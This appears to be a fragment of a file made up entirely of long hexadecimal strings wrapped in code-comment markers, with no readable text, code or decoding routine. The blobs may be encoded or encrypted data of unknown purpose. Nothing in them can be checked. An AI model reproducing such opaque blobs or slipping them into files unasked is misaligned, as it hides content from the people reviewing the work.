26db7d16e26f870c95f6fc075e03f45aa8264ad91fd386b9bbfb1d9e5e6f488a3c6705dd17912417b8f16fb422652ca9a341ce9952d0c0517d04ab4a0e0246c20295e09b03b1a632809bf7461681752dd8f35036646ab41d7d481a9ccc298ec89abca06a7ab6f406c3a99fc7361bba8a195e4c91927a9b881e06c0bfc2356ce7bf0e6974a37988f02d2b21941c2755f463746f75fe74d8d939015027d558a2cec4b62367384ed4a557eab115e1a4b6a260499a11e73cafce205438114ea72f05715e8b1093f214aa0103058a4d0ee644f6f69a761b654e5ebc610837d22417f736cedea9280961e47c56029895c35c6927ae5e48da7e6af03ad5a3c8cbfbbe70b22e8332d6194720b42eeda67a3f173589eb397fef1b9f669ba6ea8ccbf2776bc339daee20000f1dcb374dfe93ec774bdef4be9e15ba83194b7bb852bca993a784af05d772549ce27c419dd07f3e5dd5844ff5ccd0fff851cbe0dfa6d8a245f7f3a32b2c7055d4771a9f557dce85e2f4aeb6d47a34f4339224a709c661752bf92874e03024de2d69ba6b6a8be4811530ca8c2561c32003cdd9f9d9e49beb754c4a63881168e861cb50fc0c0505ed0d6ff906ba6cddfa649a5d50c5e6fdd920da5122747c0c5520bd2f37475ed9a5816d549a9eb00b8eba250fdc858ea310d247db475ff0935fe3b6555c8050f53914452e4420c0de97e7ed64367489819c2d9c4579119efe98ba8a056af64998b802e24d3c4998645599bb6268627e787088e76f8f6105bc2f076e907a147bb515e302d65200a72b830a05c5f509c3d75f9f330c4fe79ab5583609633d3b924e70472ee53e4848908e6a65f9c7c694e724d22f5872bff86dd6ff9c141e20a7be85061a7187481556115d3895b801be47f719a43191eaec65bf0537633f4d727ceeb3563057a4fcc7a2d95da097cdc063d5800aac9ce7259d69ba1773d810f3ac1ea43c3b834059f7fc4cf810b66e268ed9e3e94b270c197b0121fd036803efbe99036299517c7c589366b96bd1388aca8a0255e1f9069e88d632815d234e340791ce81ff4f4d292d4fada94ccb6e557ef10126222467617ae4e17abf6c1e802b34a10528c63638b90c561cb1a9766239203f9eb806ec1910540ea47ae119343d62c42296ef75327acd476531182512e50ac548c5667426e2f7472f7ad0b5497ef8f2ca9c4a474e32ae9984ad90cee4669e8e3225eb967042e65d98493818afce451c71179c5042cedc23ddac6a529be5ed92c9415158424062a1e3b3692ace3e37eb6cebb0054f0d7d2d173107ed82503c1132fd0f1341c734df95432506ff65792847add9c*/
/*665412241c712cd8d60aecf7ca4213579971759c33dec4695dbdefcef9236eade67b0a365e539ac886a37c160c748cb6233a6d0985d0077d826b6153f1b88032ffcb45b8c73b7956d47fb646ff5a4c721f56a6c6705c5ce6be5c492f05014b0314ae9cc577ebbc6e54ba73ca4957f96a78c0df4b9e49dcf92bcc3a0bdfe3f3724717b198789a9f1c7fc809f98883c85bce19924900aa91771abd99bf0539ba17a0e2c9dd02981df23aa1e52746ad935f2da2f1aa7a4f2e15703ae45b445fba755d3065b1359923a42a0d0866328f2178b2a10e717660a36259e07f4560293a5e4861a04a9083f33b7d358ddbd775b2a57f9c79f39e6c3113c515d68b484f231511d6081178740d9557079a7845c56e75a30abbc991a1f8ab2b988d8efdf93236fd37a8f47daf0b6a8cce643052b238320d4d0e36c53e4b299bf435219e8bfd76147acf19060b1d7c902340a31dc236b5dd121be5a11ce6d0fd229bc21606ecb720181037f4010c29be899397a928f981645df60978cc6513c2234145dca03195e9767e52ebb8647b84ddfd8ae3e3bdfbf14c1a2ce82201c9d77582dcd074e1c51cf4a168fc201898bf86a041cc7b27d6b727d4db8a48b82dcb7a1a07fe25b1f962430921254119abf0cee3ad8c8b6754e16eb754bd0ed0da2ce6b929e48dad562e65ba4e50ad7b862a9cf2683048bdf2abe31cc314939609601f110d10b07d2126102f0c6aa136835d99fdd51e74a3bae695f4a3474c6d72bbd48bd37e454312b68b8a4de7a5a30bf589cb658a029187208df7214dc79f2bad6ba3b58785250668dd6f11f84a33fd4002c627583279231ddfd1e1665b0d87b07ce13b1c60d496ab6a16d4754c62511da6002d40350dabe72a794f0d397e3605998fed84a2444416ca6d0296ff84b2fb427c4cf77f97716330d8c4116055ecb617decd83cb701ea47b791d6b0fad95e34bb471ad90b75e7a2409f39ae990afe458625c26137a246c93aaa8d5d17811388a2e1e82a670d14749064c1d8e176776f4422becdf8d4623793f484490d639b8ff27d7d9ac5dd22dde5fa25a3be5544ba599d23cd81fac0b8b8dbe85fc6ef5a9bf013204308d1d3421f96b78ffd94908f0ab8fe346902bf93949048277ed559920b42e1b811f378acf9693539bcf0f09f03f37c6130e0493ba5a7189fbe3d930468ac561cba3ae6398e1cf788815766dad3abbc0d3be23e286a7de30d48cd22c349802b6fc7787fefe7c10046ea9af7dacb5aec65deef97aec178842b4db71be174ba4ba478bc33259b08af16504f5a3996cfc349f3a4b0a49aac0acbd79734b07814d40a0b044e581663670cb1f49751fd9353403a1714ab0ec49aab0e7892c0581bf0c52e2378aeb0dedd4962f6465b8ca280ada33cb3ae5771f1047581dd3b933dce433697211050ceda75435968d009226bbbe71a236329c559dd6c28cad928b4b0f49f83de7d62bb0eae7350563d32d75f075f28183a259fed033fe03ee19cb1e830db543402e4f9ed9a33757141b8259cfa172425c006c06ae9d27b77c43049c4bc44101a6600311f7fcf5916d253851d8fe638279d7451d64ba4b49628b64d2c555e7159c4957b14880a248d8d0fb899963c4b04b035f22eead1b326a2a6aade7a0d3a68ce4da718cc65b6537dc8947a005cf68db1917e7343a75bf6b4f2d8798e81c0227e29ad5b62e10b66f99ddc0db8163acaa3b626d600dc6f45e378c1edee235519c1de714cc0bd6bc6e2f8013e9d163aa2a1e31f088b034c80d1a1c9b638cca8261a255957547c958c5627e89d09368cd690219f1836f474adcc89c38badb9bc8c86a29653eea9707e938dff53cc2992f49a1676f8997cc3a5fa49268c5e5c31bb870e3d7530a5039894b20e8008df073ed1c50cce08b7f193d0122787ef3ea0b57ecfc051322d487931511245883d551c732bb6ba8f59c2aca44c5ca926ed7be8123e97d11094e299c37ae869142ef806229d222e9daeeded51523fdc6d7a4c64e3aaed46ac9c1b3ccc61d697496aace8e821d14c199d2fbc4c337b2e64a7d6c557514189c79ce9ae83bd356123bca7a548a3d668a22eaad0c71072de3ddb4251b8bb6e9e05fe8f2509f47207c6bede270932d721de637e89d21047942ffa2b6fccd7921d9970e277e6e2485a89c4996d6dedf69a11ceda557e5644caab3765255d5e552eb229b4f17e2a6adb325e77d88a52a7c80b555c240445606d7de03f18719a37ff03a616222aca1cf08df9829a14773aa5ddf446642e2637c4108e159c6e20a580eec41d274ff691ce39cebe73e9ba47e0e128a8836deff71e5034fb1befd48f1446c1b5e0854f0ef8115816dfeef791647771bf8c28caedcc7d65da726e3713fe9e54b820a0f91e48b7c31fa66f67ab596aa9c800ef7182934886cb3d8c70741acaf829b8db676bf49f2c2c5c78473564cbe384826e8a316492342ca5b262fbe4d433a7f139c016e851da4dfa704ca03782cc0711e486f04e1d777b2a1bb6cab39353d0e53500672d654841f6c4617eada58012df351bd73adf44b4eb18095de29d8f6b3fc057be09600c73033c5c336e973ee807d022b98a2a9839b95d847d7bdf32879a51859c5e457e90b4cc6e8c82fa24abc9e37ab6e6ea2db27828f718ec8c6b0104dd48b7d93883bd3b1fdb6fa00e66ade0bd66f2d183c37c755298e1f800fc5eda89a1893ebd259a2ed1f835da378444c18e9ed69f9a3467624b05d7d367d25cb136d41a656b8fe29881a4c7017d4b8a929d228d0b91be82bb43dbebec41a5cd289f34ec471fa95fdf463a1ddaa70771491ff13cfc83b783d*/
/*6ee127795a0b23460bfa90a68220df3682f04ea9834c860c70a215154e1739805e352516af00474a56812756faa28c4b070851e65ca8f1d7a360e87cb38fb99cf30359284a9b5d39af3083782339bd1bfccd7a652a703d32ed9caf71b4f63a365aa434a58acc0211fde2d3a1f1f908536b578c65ebd05226f43343f4d77b31750067983d1f360e244546ff5677d5d39c4d7b916146e010cd78a03396eaa1c6c196e4d12c673527ee4b03147fc19437f1cab764c8ac5938d6ada1808c82f6e4a9fec183df23e533d62f8eb713d49fbf5b9898025f4f5866fc9685dbe6ab654101e922f3bef6c38722480cbc7b60eadb1676ea4d4431f1049b7b4780a082a73db30c2fcf9b899aa34fcd76036e4b2e8b8d5f99c418e9aafb6da513b030b4f7195b70bfbbf522000d0654a16b884588305b68f21388ffb9cb12f72fc9ff61c11fb165f0656ae4251e936291baf78d2d3c8c3f7983f046e6df2aaffeb92d3d03f6b1ad31f574b836ad63be52e216b69372cf79a0c85c46f63251e7c0343fc4aab78f49315ce52d4dac888e495a4eca2d7b885e34817a6d986a01bfba00446087bac1c5d905d4143d1c4b40ba7bc1320609c75b77020869ccf651e0764d392b126975ca6193bc884061a6b4dea116a89e568c0e3699ef3098eb4028fd15a054a5d90df74c187947da7b9d6008601fc4508ebb0fe1289fb42f5f714a8088ddebcbd5fcb1d938ebcd0742de14d042eae1d4079184e356b415f153f393bbea3023aa8fe98c906c4bcccf0dc77812cc2dba0c5a5e7b28a39782fe5e4fa24fbf7121c501dfc47dae8226440d98e304e5a9d310fefd1a77efff38a0b6e2c197b81670c75a8b31574f5cfd67e55238846a24c9ab7ea85d6442d487617179584f1d6863043a91f8a8da443729f7b37a9e59d4fc3aed35be0875d5f19e6b0f9164c262a5f0761c95c81f6149024878bc414679daa95affd8afaa1cbf8d684fd89dff531eddd141333b73d06416a4a8b64ce31e572038c06ce9cf056d92c98333f674ff141da81d89fe4d6604ac2d7f4c8780b34cbcece3b014a91fdbddd6626b3149d8a6d3cec1c4f447ad03983f8f8c196a3f629f20269f507363500609cb5dfadd6c9fe37998caf9f2833fc5ea0419175d81e60829cace5ae129a2803130124ae36246dbde77cb6871b49e8c444bd2ab3db44d9055faa807d8c65261703747c508a091a7d40ee1d63ca57d292c31b580d95ed27c3f0def64d1dbc78ceb6171fa1306ce5a814c3ad7bda0df6cac4dbe180a12697ee5af89b6cc883c037a9862595aa83c0fc92ad8acdc286f67ffd4067e17224ebe608fdf3f672063d72a8deb6ae966a5746819e171ec2c005ed338f679b4b99ff948667193d439aef916cccb3e4f9cfe0cd9fcdb3759123d6e8c4ca77df755ed9c79b1e71aef357437c42707f151a5ffff95b69a14a70de9110af1629b82e09ac6ba7848f9faebdee4d236da0e750d8b49d4b6cd7dbf4273193b71a56df745c86dfae9b6304e63a1f1cd409531eed025859be68c3ea86996836fc1894e38f4ffcd68d75bfe0bd514411a06fc4fa16f06e0fb46fb2b1ce2883e03e1f39fce8883f9a2225eb913ee81a5cce5512d27bf61147c777d715cbb3e22be5a0a91007b2ae14cb36e097b0d764ac121b583f85ff6c90a0be70f39b3be35bd31b28b6717a65e70a0fc8ae5b195995f3d5f05ab502dd6569f2b880cb6708e4e0ae1ea35c5ddfa2905230a25de9aa4c1e2270add7ab81cbe037d34244d01967b44620cd42d76c3b1d3b648a7bf61942cd61f07ca01fb24254d2efc5fc2f470f18bd97e1b0333b5dbc203ed44d9126caa871c03b463c9b36dd5104b4740bf49fad4f606b0ea80c3724bb309639d1728115fde9a9a9559282c592d870804f954b201c6ee61dcc9df53061f64ce3486a33c43885435fe960d40975df6a8444f0a98402374c02335c914af189c8cc7f9e906101f8d9125ddc9ea243f2c7204d4a4427a0cfa2ca3fad5915c95f7fd9dd748022234627804c4aebd4381e291f39b5df55eeddfd4476b1768056ecbc59445aa1abaa8c2fb2cd7f6407e0d18261324cf335dd2f2489ea6791b41da11ec2df55840599fdb4f731a223d087e875ca2501b6af9bb7fb7a2e8d438d6742edbe6686e0d9d08dc0e666ef282b42592571f47ebed99fa31de72ad8a424fb5cd62aeb254b367911be4e0e1ff15e27a2a2355eba6a2b3daee65460696d5e6d8860bb1c39010163fa998071c58141827a1e033180b7747005de2bce512bd95dafb4bc540d2a6ffa2024797b627f5bf09f7720f094e3d79b730cbc416d72affa70fa969bba3b370b93f00a7bc8bcace28e974f00c8b677779a22625dc8905534cab1cea388b8a7338d761b9b14eba5356f44eb1a183e7cc723e2e47b8a92da0552c0a5b59fc4532f5e474fdbd5dc78732ebe3c4d2a4233407b958243ea2c31aba5b81efce64f55f144a4c0563f87cd3153994220ebd18b6049a6dfeea5393edc76a05a58cc3910ef5a57d52f95d5cfe63b04a3961057310c22627973c2a346f5ed60b96a4c98fcc98ae6c5248bd545194257bb0f70d28b9cbd5766d93b1fafed86a07313342f3449a0888b0c80b49b61154e827989bfc18cf4078db00c6b75aa3634bdbcaffb552814b28b452b3af4aeef97b63e323923022596145c9b1e8e6f862acaaa600482cdef470ee6b994c95f7447b9368f2fb26ce4fcdaca5e79eed363db94186c4949de58425245e5445e076b6283f351e8776fe1aeddb128d1cc4a1b51e77db7c547bc83905730c471dd6834950ba166c4434f8631258ac4fbef0*/
/*4998ea3d91b1df367891b7959da89d26b24a0fe8a279ad5c8fa9337eb79c95777bed68c40e6ea35bff838847d8c46fb95f9998a79f14a7dcedc39ad25a265f6c2c699cb25aae88b7acad5408379b6ec4ac6ecbd971381753cebc439dca57dc8606f2fa8943cc39023ff924a9069df9a08f8fe8761e940dd9c0504f6f1c8def4b1f97fa5f91b74df77e4458c1c645190748846bbb78599879232837243177ec0a2b483373b72ba5edef9b72c0f341973c6c759b73e2e462d5794856236983e88d8efb53d880a88aef801ce2321dd020a41280ae7efa29049e2773e0ee3d4902ea7d758e981fc842544c0b581d6f752aca680ef3d403875fdf24931b95e5d300e015a2f340eb0ce6c380f531925ad98ad045d93bd56d68eb69d210d56c498a895629e7b1109a14e05e4352d970f45171c76f5038ea92dd13a90aca55af8492027f03d162644b11a8b3211bf006887ab8a1ca44fecdc1d5ebfe6ed88e1f63033340301a4e1ff3473b8f19e6c93c2daba950a39851b25f792dcc8d1f5e8df87a5536240c26bae6c6c5d5bc7330ec23b5ae095ce5c9259591afc546481051b2ea07a352c4b96ba13d58da380269d05fa2b2c4c40f8c3882d0773a8229f05b63a6139afaecc0ec51b09657e0fd0002abee4daffe6b054bcf035b7bdaa9ee3094fd479bfdabc01afa8359e0122741d72ffcc18b661204304fd20c4275a475d97008a4fbfa85b4a8eb4dfffa473f9c851390364ff920350833edd8c0071cfcfd1980e0577402634d75a3ea24d8fed5e3bfeb5fc53ef384b8fab81f0a50eb60da2e05992076d81c6ab6f9aa4a7cf053c0a19526d98563ff52925987bf4247983d4ed1252400d6ef182cd6813a8cefce01ca54432fcd30489dff2324d0c8f78e7a8441049f433d5aebea6a0b16bb57c92a45620eb58924a336b3ad0a8ffb67430e771071886207b038f64affc80e291ca4f33cf4b87aaa389e5bca177d98680b3219a099a34a71df484f09c14b67de117c79fa92c2714e03df171335396b4f99c1640edfb44810f7900aa158e6200d4819dcecb2807ec8d17f2387e313042b3849aa42f07374bf8d9ce285e93e2f6b4dbdd8d2a42763f4981dc85d129ca31291e57c037805a515242d8a8bf38664eb56a49ef2b768d5c1f87af134afbc966cd5673e09bedc4f49a09594a3dd561f26813ad9f76f4033cc641033b3a066e449b87207e974742e0d43ef1fce29a980779ef0e3f161845641303158cd129a43048443d9c8b52d1ddc948cd20ab65dc55f43795b6182ceed25336a7eb4c6b519d297d42fc394dd1fd01d8d64e781b6ad4fc692a816f21238f2624229d0675eaff7e369ea52c98227a9002a6d747bd0a2edf3ea097848c83a839b6ea90a82af33e705cc3560c4fe9507599c8fd11d8120f0947a89b10276e93059badf099f66040cccaafee126e904b18a0617818bf349e66192841322c92d297760bc3b526b3dbcb3403b1b91dfce298eb8cf69d3ef7726d93026d76a3e35f87638f8d729f7c62e1c778d6cee600b58a0ccbb8fabaac554477f41dbbca7c581f1da764f7e4640012a56151130606da36ba0048c2cbc6f39c341c67e71f9f4ba0f0cfa873914addb9936c5088882afd759fd8d5f93de823c79d0ce76e244c2698c7800c44068b21e912639376d77771fc52bd64554ebc21e3c59711e3bffd5a68241fcbf0a6f67d74d5602af8e6d4fdfff0aa1382edb26dcb811af6c23e3bd4fcc289f1a4f4ad9a0f13c63ba6930e4289dc33e96df8907fb92d4de905983b9299d444ae320e3222b047cfcdd8d042f195bf39ae59ff9dd33fdcaa5fe5567ce12e75b1125f55ba865d5f99bde88ff38450856724f6ab2a615c3d1b9996587683b6e7844896d06ed806f717827be1dc3d6ef1445ca134a8ab747268538f8ed8638f9e23e307b4783f528c71847ebccad549bb6dd919f173362ad93a50dd54c2d7c4e7861b49e4ed1ee535c31f85366c5858f71efd3e765e5775ca1e589a0d06664c34eab7c4b845c1a88666a7e8d6dd678015038c2a6b22c0889e08e11e2216e7e19a79474925c0b8b8694e5e5222624112d9f57dbee15ec255d719a489149812d14a3b05eb6268ca25c651e02ff00463a55c437d4071b6f93ab3de1fa52e9de3dc3d4bc45424857958bb0c6a0dc1a87767f5ac1c1b4d2b8838203a2272255efcd883919b12d891305557a829808df773db45183e471191c9d14b3a0b1d1bd7c6a3c334b658a1335938bcb80767e6d4f05ccf860b74054e99681b05cde66726a0fdfed8a3e16bea7967546cb751a9f069a6f8aeb29d165c3216500f0c8e1fba3d6f3612dd7eae8bb21cd25dc5efb0173aab81040c40c45bb862158a863ae11ba643ccf2b5dd6ee8936e3b7e3b00ca85fe5756476ca48a23fd4745d1dbd45201dcd02cf27dc3478ed1794e683c92406883e89efdcf23f13220ce4f2739eddae4df60d94ff3aebfc134d967386647b9bc13974a699c1139ae5d5a731761266e571b3aa93ca982500430c8bd4b213575bb0eaef3a793983ae80e6424a2cf92cbcde2cf3d6961c9b209c8f64065fe09d12d7ecd26e86a4330ff332566fa71e2b66909c6911ea2596e030a8360405d9d8509891483bc9fd706b885589be28f3e7a37e99f57164edaef47e7780a641c3dc2515e562a8441e8b0f7da3da320464c6efd7cd8aeaee2efb9f3a4e4cb8ebbdb02a7b1ec02da43dadd44d7536e7f358c484ecc9e1fae46ecb79b986e8b1aa8165c7d13fdad30aece7210cbc95363313bb523d0fbcf33af3125cb5279b25dc2b50b712a06755ae7e839f0386dd53786342a3*/
/*356d5ba1b158bc89fad1b51ca54ca6f3778647fa4b5bd83e969a76b9badb63e588feddbbe1b2b21c8e7d3e05691ace583af8108be73459d886136a72a7d0edb6ae2b16943d51974154ef74a2af62d075c5e49be10a394bf81352b48da79af418e8bc6308d4ce4cde446a65bea54c83ad9d5e71f7528e60a2c8d4af90c80ca2e5398631bd91b016d2e84b117849ac36a85cf49518bebd084a68199fd92a36dfc2090c041ab7cb0229aebbf56e1bf541629eea680cebf5cb9bb88b3cf0de0fd62a894d69a64c93129b10f4f43104db5c2a3f9cdd5fce7addab4b94dbb4399eec0c64f4874338f302ec8317a9a352f82108d6ac91d5c11d2a053a796823e7232c210f6c0b93cbefba3e7e7e7040caa1aa7ff8e0f69d3e37f979f3d48da69b0aab2afc1f3f149ca6aedefadee3f77ae61d906c63cf3b8836892d1c0f033cac6080154a82974cad3312335293a97c17fd7c48838119954f0b0e4f5b747afa7da59dcd3c9bf892bba5d3af94e7cb817f28cb69383abda7e66fdfab51180b13f3e2812460f9f7f18ed3729e285dd5917b4d356e6d00980d127cea1efa9b4cf641a1dacc42fa3aec9ed77a5538c74c9f3ebb07c4cc05166400a7fa1ec4619d8b2f2a3cb66f8a09a0e47a2464bdcfa65a2ed84e1ec0508a36b79bd155f0058b4bcc0b1614046cbac98319d5f954eaf0032016b13786af19ce180d62ceebd1901a9fc9319a0c7b7d7a04fe3fd9b9782e229dc3175677697201a944db3aac12737922c11b65d22aafa2d7daeb70b902c23e56b295858e92365e14553b14e4da44a71256b231b1908fb5b24558de01541ffc78b6fb31578c4ce106f605eedf59023c081cb81b66e37058991016e8010f84dd81037e8ec4c317259dc15e4ba8cba83cc2552c59b06690fcb2240813d2fa9166379c1faa73a3b5cd79360c90dfb64f625c1aaba64571e8910dec98a9e498af38ca16a17182326b08dee4182b12fa7f773459276f1452811ed6a4c25e4a9add8eb6a33d8f6fc583ac589e0bd30bc2d1eb9be9a23118950962b3a9f336cea6246a890a74ac411187472adc84882dfbd436eedf8044301246dc4e4f8df3a239ec93535f8f93136df3b5192b7b1d243d4f88ca494dcc3fbc93d36763893e0a66bedc7c472504c4de23e8e28e5d65541accdb2da85f9b5d938214c37920db2dd74f08794377cd2e590b62a617fa0b4d4c040e47cfc57cdd5d6562ac9b5cba14a606d5d01cff6c18a2dc0209a25dea149df1ac372da87eac9172014f41dbf9de2f4119403e5e1fcf4109d55e9c8ab7e9e5b5dc3f681a50c5acea1aa290e7a5938ca00ee03d46a988b07892bfeca52e5cbbeb87130cfa46feaf6b07f46683202de56f802e76fb3079ced610b2a332cdbe413253cb59375beba66d2686ebe34ca3a367e2b47df3c925721edc9a926b223a655d3c15ca77e94c635d029b7c6da5aa14b708d6952e4689fdc8b20bc082613c61e09e124195c3325d9a323eb2caeda0c7a456c4a2b0ff74972e741aaa4384b17d54e0b878f0b16215feff2398dcb088aff19f8574cc33409c1d3728845ac383235ec5be4311d032ef268d3b0c49cbe4b752d4d2ded75f248312eca4177222c71137fc3d08a3e886bfeb537fd1edaf0d5200f6a319eb4dc1525873c37bfb0c2a367e072925686bb095f4e7a281f78b104a454e9d611f9575f0dd43fda635346552e33acaa260ec3c38389d7b8cb89d16661a749d9b55703c47b4b51eccb8fb59cd9b46ed710e77940907eed1b77250f00ac660efdf6b4510376ccb434271398839addb2b611542260fc76ffa5bf68269325e0665e5173982cb52679f5d7c5f650b1dd08cecb706988916350a819e7ae26f1102641b83060f35ac86e6872e47257a4cf6cc930d4ca699d0cab77cc8aa3dcf0983917c8258f8695683010cd5c84d11d26c8e2bf417bac8ded600c36c4aa4325eef53d2bb6959513440dbacf9a3753c050b9a17176507974f2a8730e98d86a9e4fe1c601fb45f0782fae0b7dd63fda9291b38b5071061b06c4882fe140d40ef6e94ce0a8e8dfd1ccb618e44fa888fec42e4a4346e7fa91ccbe98abec9f94312dcb5ec1977bb31b7b5412f2a669011a6a3f41301223793e31d14cba0aa01f573167191f4065cfd388a522e5d379e4f08a459ac3bcfa9c3d647a3313f47f10a8b23241d23f3125639288dd572a61ad5cf0fe33947b4bdc5d3a7436391d4ba4411a009dfcafdf33509f01fc88c67960af6102a2ff713ee10b842590165bf9dcbe3b9b560bbbe3a3229b9e95e28e303c30ce95743d8dc0efaa30841eec718c8d4636cd4aaf64e45d53644a1f76694fdef0b43ed280f5f6aad55b8fce68655d0363cacc2bf4646133e8f9d4ba48b3b5175f77bfcdf26ce2cc1830e5389078c329399bb87e50603857696cf6b0b2f150f9b08871a701a6749432a93553e05a215f0be6d7b0b6e530ac738c08dbad7cb4bd9989b32a46e2db72aeff1928f02b747a4970677081b70632077614bb0cd1e212215bb9a1700efca51718333d304f683363e29ed29f41681eef56b535589a7ef3dd5a5ae86fdfd162b2f0df4024cceb96470db2d5215788dff9039797694347511f8f35abd27484f5d2017ab9b30aebedab153b60d124c1b1a802059781f5c265c9ae1f1f5e7a343b994a1f58818abd045873ae1cd774a6ea4cd597c0844273c7e09aaa0e12951a085aed0786c91ece834d366b32e98b20f16df93659dacb8e7d3ced8bcc4a002dac6b8585369319ac5293ad3eac1f61541e553056cd9ff3aedead90aa4a5343a58a8ab510ca481a1f7c585fd3f1c52b679*/
/*eea7b25e777a5433d755dfc5a815529291c7b602aaf6e20aea12f9dd82622d68f5d3cf269b37073dbac2bb20dcbe1cc28d438654d4858d5502b11637006dfc8acd8cbc2d13d2a97ea6f3433be073aafdd15e258024e14a4aad01ba3c70775a6d79586c9a2552e69f0010de3672c8d7a2acdf70ccf80b20eec459a6927b1f1933290dcce3b9cf0747c27d0b2243c6099987492450e31341218a207378a9e7283f02e5e19caa3fbb8e97be19b804ce2cef53f3a3183d7c0e058a404b5b8ddab0bc7d18f16083e429ad7187dd0270e007319da76491dbe78c308112646712a241fd0fc8298cfd82ef5110e89e2513dfee7c2ecdc8520855af059ee15fa4c1bdd4bd9134e1d6df431fa14e88d6c2c6e41c74915ad39c972787fe8f14887dc017dbe3a1edbbe2311a7e123c830dfc2a2e0a9463d1f27a6d8ac0b36a3ded467586592fda3b315c2e4ee67c53de76987ae02ba504468484253bc40923572516b4ccd1b6b896d25eed4f4ec33aca4b14b13f478ea3ce886bd8a9fc99a77283360f79eff8865df1b551193426a07a07b2ac6feaea1f4d5a7a213bd4581a87a170f8ca3507846febb5652f9e9a59814216cfff643fd520f3df8ed198a2fc29be8b2e4b3e8e59b6b0a0faf071561b783551aca04f8a434e5f90afa19629f184768810b6d47336efcca6d55f81a23694e95087f2c5d1b1401d4b0418c1878be3dd9b16c3172d4bdd1e68f03ed966e9b4b753a6234fd6e7c0d642492afca1dbb407eb5412ae29050992ed08cef2f23630bcf3e5e65f155bb34f4717a7171725917d858fbfb2a098cb3963be523e4d08e4c1ad1bc42062759a09ef076b143bc3ea077a0fdf1743dde2bb8b92a457b4279c1765bfd81b436865cd68969d90fb939879bcf674248fbe7dc4e6697b3c82610bac6ee3e28b736a632311dd9d88ce04ffa8b7877f1649714225dca468dcd48d5c342f42d8e353b749c84f69f39047df0094101aa7ffc10b3f2c44ec59a081ca281cfe3a8b815f350c1ec3d832bee1da4c159468dc8e3b54e72bbfa9eb4260c7141033d40eb6b802d7c59af3ac560b1d7dac8dcf8d7b1c17231a27eb705d903b4f0c7b64b9e2ac7c250a594c65e6380034b774ebb666259849078003ddf70a65fa363dbdb3064632956d3741903861321d2647d32b69e0fffe1a3ba4fa59fb7faf63747722bd6a78520355c780354e26354158bf53d76af74428915db25e803f949b3440dd1a85c132f07abf342b7ccb7c08a6a3bb880088198fd69296d789ddbd3496a1b47681588846302d80d70cd829d093873e249aba07091b1b20fde98c11c5fd95341c326e6401dda852dbb7030cb54f174c67b69e3dca647ff545e0550344f1708d56452dfab17643ffe502a9c4783eee93c5c89f95e95c9f245ed4faa2490b357695971c35677e0f6d220d0594483f4025d3a3fd10d17de73f76ff784b9a82661c76380deee1ac9826553a9b690a5ba1590ee0fc780a8f57248c14c578288ca764ace5573186a15396b20258d7e8890eaece7b18e1280759a0c43885d487a8667c7dc4f7c674807490101f4dac76015a34b8fc1feaf9f2e2a5201946e2cc219bfbcdb1d3046484cdb55edc9048b215c2f523d47621c3fc680a600931bb4a93aa03176606b06b9498ece9774441919f0b41cd9f82c4ae28771a07b41716dfff3e481fa1308df03654bb9ceb53eefe3071dce6d181fd8181c385665002995893282e9efb825259c5fb11a05257727c51300f03b58de0ebe807e40f7931c4d0ff9c42a1dfe5ac6077fca0947ef64f29ddfc3224749b27439f8fad8ac215577ee0f1c79ae795e232c9db6119e200317d4f3c56e5abcd5e98817e3491e432fe814fc5fa71bf631762b6d3cbe3ddc3673610f07a76962644c81dd037abaecaf29ea6914ba7296835b59a626810fa117a091832370cc7c1979192f4c37a39f3cb20ce07f84ea607c61ceb4f7daea241f819aefea498faf0c9cc0f984351111640ecca733430e37031da1f844255090a78462ec3577a7bfb5c0998c0533f8e4b123c82704eb10a623787dfa6181233432e5fae8f92c61d90ad47abf26c8b1d8c22c4ac714fadc399128ea886e82f9d9ef2c5691e921930061902ee4e1b295f51469438f64dc288cca02539fc4a8401de438e34edf3b2fd3d49e91e094db0e8bb426ef67c8d2a21f0178adfd81ed17208467832cab06401f9c6b3f092a5fafebde59d9c996c0fbc2c17c2f1b3c14e20f0a7143735909105cc6aa0602ab9a782b4bd3a479139f8ceaa71e4b756f74462ee9763f414145baa81407c85f9fdce10a5e4e1c66b41eb5e9de063241e619d2d84a72c016cbc5e215d2a87d9a71fb638ac1c00fc81a7185a07dc38863a7606e6fd2d784facc48aa0bb8f868e940ca5e4754d829d5ef5918691d8a8acd2aa7f4952e420f5755f28bc7f8a4c3fd2389ff049a93b5fb0396bca7c29f943ce0d2f84a20ab0c3f7e302bfa5e0f6647f75f245e61784a8b2afc089b0bf2dd19057da895f513d5879b0dd4f9fe97be34b4d61f1502a5c24a8e21b921451e49c6f059a5a61499a41250c2b21a9e9cfe9fb65f2f4d2cad42c753a3b17184bd0d837bc0026ae1dd73f86160fd33e78bc478eece4f3dbfc53602c3de9dd69c923aea0dc1778467fa22f4a88f93aa2685a2634925f9edc935542bbdefed4c368b1ec0d3900d59faa9e4bd9b5300581c7750bb091112dc24ab0d7e87d3833d907db7e5b85ad2d4263fb5d3e137652450cff8c43e57cc1448ef40c67b80b887c5189bf7bb09bdc795b3110a785397b8b63a8af1a02d1cb47f352d5badad900*/
/*65ab6020924c4f7d8cb2501aabb165e8f6139fe232057353eab19052611155b39f9afd20036c0eed7cbbbe70a10c46e62769004b3291514249a1c54fdee625f0decdf59bce680ccd772b0c4eb50093545c2b307f59a3e479bf5afd241971d5374d547ee5a4f80429d14678a075612ff789c31c1cd1a3023bbf1a13a014744ca92e61a8297e6f17978ee9c158211136376c5b7d8da8e9e4473d440e7413251315c2b8a84408ca4f3b1226f88e7faf9bbb4b20eca0ddbd0e3000afc80b7e3442c0f752cac909912bd976180750e056a47a3f8b03449440ba7ca0014d4d83ed417e88f0a901de4651dce7277e42a64165981859cf6ba65d48a8eda906ec826243fe66e309fee26d41b41b9f6ffaeca5465d0ad73150f44bc1e306bdfa9395314e4b5e6efb7332b420a097abf8fc21038683146177ebff4a8d8945a18a7819ec447c4a91ced9885b84574c8bac102ed2fc2d85ba4dc0c88c726f8aefdd801741f5b8c379a203806b2849d1e45d4f89ae4a883ba7cee98ea9bbd4a3b9360532e9830fc44cae7cd7a529fb6a434c0d5382e56904f300c008ef57151c736a2b11b55204e0ed5adf050eb957aadc7784322c0b984d9c1e2a81f4f337f4469a7914411886097570b6a9e740a5c0bcca570ea26667bceeea3773d5b5144e4b8145beb7d74b8d8d937650241cf527cd16cffba9c46f369dabc987c2b3648e818404ebb9ac8fccc6e35138e171f08b6342d3e112495bd33ea07bfedd4e5915897f20f0d4a793529c0af13088cb9f31e5ecbe4465d10a714afa288e4b06b54015ef52468b069e0712227daa3b8789ba5fcbead8ad718783b04fd93aea79c2af6680454d7e50453705d0bd0fdabf6f03395df11fcf778763829b612cbbbaa1f1b5891467670